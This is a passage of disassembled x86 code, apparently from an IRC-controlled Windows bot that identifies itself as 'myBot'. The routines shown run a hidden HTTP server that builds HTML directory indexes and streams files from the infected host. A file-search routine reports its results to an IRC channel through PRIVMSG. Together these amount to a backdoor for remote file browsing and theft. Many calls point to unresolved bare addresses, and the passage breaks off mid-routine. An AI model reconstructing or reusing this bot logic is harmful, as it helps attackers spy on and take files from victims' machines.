		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_401445
		add	esp, 14h


loc_40DD2E:				; CODE XREF: sub_40D8F7+412j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_410557
		pop	ecx
		push	edi
		call	dword_4453E0
		push	[ebp+var_254]
		call	sub_40916F
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
sub_40D8F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD58	proc near		; DATA XREF: sub_40DEDA+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417E20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4171D0
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40DDBD
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40DDC2
; ---------------------------------------------------------------------------


loc_40DDBD:				; CODE XREF: sub_40DD58+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40DDC2:				; CODE XREF: sub_40DD58+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4171D0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 27412EBh
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40DE3B
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4171D0
		add	esp, 24h
		jmp	short loc_40DE5C
; ---------------------------------------------------------------------------


loc_40DE3B:				; CODE XREF: sub_40DD58+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4171D0
		add	esp, 28h


loc_40DE5C:				; CODE XREF: sub_40DD58+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_445398
		cmp	[ebp+var_A4], edi
		jnz	short loc_40DE9C
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40E80C
		pop	ecx
		pop	ecx
		jmp	short loc_40DEB9
; ---------------------------------------------------------------------------


loc_40DE9C:				; CODE XREF: sub_40DD58+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40E18A
		add	esp, 10h


loc_40DEB9:				; CODE XREF: sub_40DD58+142j
		push	[ebp+var_44C]
		call	dword_4453E0
		push	[ebp+var_B4]
		call	sub_40916F
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_40DD58	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DEDA	proc near		; CODE XREF: sub_40D8F7+3C6p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417070
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40DF10
		push	eax
		push	offset aS_20	; "\\%s"
		jmp	short loc_40DF19
; ---------------------------------------------------------------------------


loc_40DF10:				; CODE XREF: sub_40DEDA+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_21	; "%s"


loc_40DF19:				; CODE XREF: sub_40DEDA+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_414BE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40DFB4
		mov	[ebp+arg_8], 2


loc_40DF44:				; CODE XREF: sub_40DEDA+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_414BE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40DF84
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40DF84
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40DF84
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40DF84
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40DF9E
; ---------------------------------------------------------------------------


loc_40DF84:				; CODE XREF: sub_40DEDA+7Aj
					; sub_40DEDA+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40DF94
		push	5Ch
		pop	eax
		jmp	short loc_40DF97
; ---------------------------------------------------------------------------


loc_40DF94:				; CODE XREF: sub_40DEDA+B3j
		movsx	eax, al


loc_40DF97:				; CODE XREF: sub_40DEDA+B8j
		mov	[ebp+ebx+var_210], al


loc_40DF9E:				; CODE XREF: sub_40DEDA+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_414BE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40DF44


loc_40DFB4:				; CODE XREF: sub_40DEDA+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_1	; "%s%s"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_314]
		push	offset asc_440CD0 ; "\n"
		push	eax
		call	sub_417620
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26B0C38h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40E002
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E005
		push	[ebp+arg_0]
		jmp	short loc_40E081
; ---------------------------------------------------------------------------


loc_40E002:				; CODE XREF: sub_40DEDA+11Cj
		mov	[ebp+var_4], esi


loc_40E005:				; CODE XREF: sub_40DEDA+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40E012
		mov	[ebp+var_4], esi


loc_40E012:				; CODE XREF: sub_40DEDA+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40E08C
		cmp	[ebp+arg_C], edi
		jz	short loc_40E080
		lea	eax, [ebp+var_314]
		push	offset asc_440CD4 ; "*"
		push	eax
		call	sub_4184D0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40E8C9
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40E0DB
; ---------------------------------------------------------------------------


loc_40E080:				; CODE XREF: sub_40DEDA+14Fj
		push	ebx


loc_40E081:				; CODE XREF: sub_40DEDA+126j
		call	dword_4453E0
		jmp	loc_40E183
; ---------------------------------------------------------------------------


loc_40E08C:				; CODE XREF: sub_40DEDA+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2760000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E0DB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4171D0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2750B9Bh
		nop
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 267009Bh
		nop


loc_40E0DB:				; CODE XREF: sub_40DEDA+1A4j
					; sub_40DEDA+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_440CD8
		push	eax
		call	sub_4171D0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_408E53
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_446214[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40DD58
		push	edi
		push	edi
		call	near ptr 26A08FFh
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_446224[ecx], eax
		jz	short loc_40E155


loc_40E143:				; CODE XREF: sub_40DEDA+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_40E183
		push	5
		nop
		call	near ptr 2690599h
		jmp	short loc_40E143
; ---------------------------------------------------------------------------


loc_40E155:				; CODE XREF: sub_40DEDA+267j
		push	ebx
		call	dword_4453E0
		nop
		call	near ptr 26908EFh
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_440D0C
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_410557
		add	esp, 10h


loc_40E183:				; CODE XREF: sub_40DEDA+1ADj
					; sub_40DEDA+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40DEDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E18A	proc near		; CODE XREF: sub_403038+2C08p
					; sub_40DD58+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417070
		mov	edi, [ebp+arg_0]
		push	offset asc_440D44 ; "\n"
		push	edi
		call	sub_417620
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E1E9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 14h
		jmp	loc_40E2E6
; ---------------------------------------------------------------------------


loc_40E1E9:				; CODE XREF: sub_40E18A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40E2CC
		call	sub_414BE0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		push	edi
		call	sub_414BE0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		jmp	short loc_40E2E6
; ---------------------------------------------------------------------------


loc_40E2CC:				; CODE XREF: sub_40E18A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 10h


loc_40E2E6:				; CODE XREF: sub_40E18A+5Aj
					; sub_40E18A+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		cmp	[ebp+arg_C], ebx
		jz	short loc_40E37E
		push	[ebp+arg_C]
		call	sub_414BE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40E37E
		push	[ebp+arg_C]
		call	sub_414BE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40E332


loc_40E326:				; CODE XREF: sub_40E18A+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40E332
		dec	eax
		jnz	short loc_40E326


loc_40E332:				; CODE XREF: sub_40E18A+19Aj
					; sub_40E18A+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_417770
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398


loc_40E37E:				; CODE XREF: sub_40E18A+17Ej
					; sub_40E18A+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 2790000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_40E76F
		mov	edi, 1FFh


loc_40E3AA:				; CODE XREF: sub_40E18A+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40E757
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E757
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E757
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770655h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2770000h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_40E41F
		mov	ecx, offset aAm	; "AM"


loc_40E41F:				; CODE XREF: sub_40E18A+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40E42B
		sub	eax, 0Ch


loc_40E42B:				; CODE XREF: sub_40E18A+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4171D0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40E5D8
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E4AC
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_22	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4172D0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 28h
		jmp	loc_40E728
; ---------------------------------------------------------------------------


loc_40E4AC:				; CODE XREF: sub_40E18A+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_40E596
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s/"
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_414BE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40E54C
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40E551
; ---------------------------------------------------------------------------


loc_40E54C:				; CODE XREF: sub_40E18A+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40E551:				; CODE XREF: sub_40E18A+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40E719
; ---------------------------------------------------------------------------


loc_40E596:				; CODE XREF: sub_40E18A+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_23	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_4172D0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40E5C3:				; CODE XREF: sub_40E18A+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 24h
		jmp	loc_40E728
; ---------------------------------------------------------------------------


loc_40E5D8:				; CODE XREF: sub_40E18A+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E602
		push	ebx
		push	[ebp+var_368]
		call	sub_411586
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40E5C3
; ---------------------------------------------------------------------------


loc_40E602:				; CODE XREF: sub_40E18A+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_40E702
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_3	; "%s%s"
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_414BE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40E6A2
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40E6A7
; ---------------------------------------------------------------------------


loc_40E6A2:				; CODE XREF: sub_40E18A+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40E6A7:				; CODE XREF: sub_40E18A+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_4172D0
		add	esp, 1Ch
		jmp	short loc_40E728
; ---------------------------------------------------------------------------


loc_40E702:				; CODE XREF: sub_40E18A+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40E719:				; CODE XREF: sub_40E18A+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4172D0
		add	esp, 18h


loc_40E728:				; CODE XREF: sub_40E18A+31Dj
					; sub_40E18A+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E757
		push	7D0h
		nop
		call	near ptr 2690599h


loc_40E757:				; CODE XREF: sub_40E18A+226j
					; sub_40E18A+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_40E3AA


loc_40E76F:				; CODE XREF: sub_40E18A+215j
		push	[ebp+arg_0]
		nop
		call	near ptr 276028Ah
		cmp	[ebp+arg_8], ebx
		jz	short loc_40E7B2
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_411586
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_411586
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4171D0
		add	esp, 14h
		jmp	short loc_40E7E6
; ---------------------------------------------------------------------------


loc_40E7B2:				; CODE XREF: sub_40E18A+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40E7CC
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	short loc_40E7E6
; ---------------------------------------------------------------------------


loc_40E7CC:				; CODE XREF: sub_40E18A+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4171D0
		add	esp, 10h


loc_40E7E6:				; CODE XREF: sub_40E18A+626j
					; sub_40E18A+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_445398
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40E18A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E80C	proc near		; CODE XREF: sub_40DD58+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E8C4
		push	esi
		push	ebx
		call	near ptr 2750B9Bh
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40E8BD


loc_40E851:				; CODE XREF: sub_40E80C+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40E86E
		mov	edi, [ebp+arg_4]


loc_40E86E:				; CODE XREF: sub_40E80C+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 27A0000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2730000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E8B8
		call	dword_4452DC
		cmp	eax, 2733h
		jnz	short loc_40E8BD
		xor	eax, eax


loc_40E8B8:				; CODE XREF: sub_40E80C+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40E851


loc_40E8BD:				; CODE XREF: sub_40E80C+43j
					; sub_40E80C+A8j
		push	ebx
		nop
		call	near ptr 267009Bh


loc_40E8C4:				; CODE XREF: sub_40E80C+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E80C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E8C9	proc near		; CODE XREF: sub_40DEDA+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_414BE0
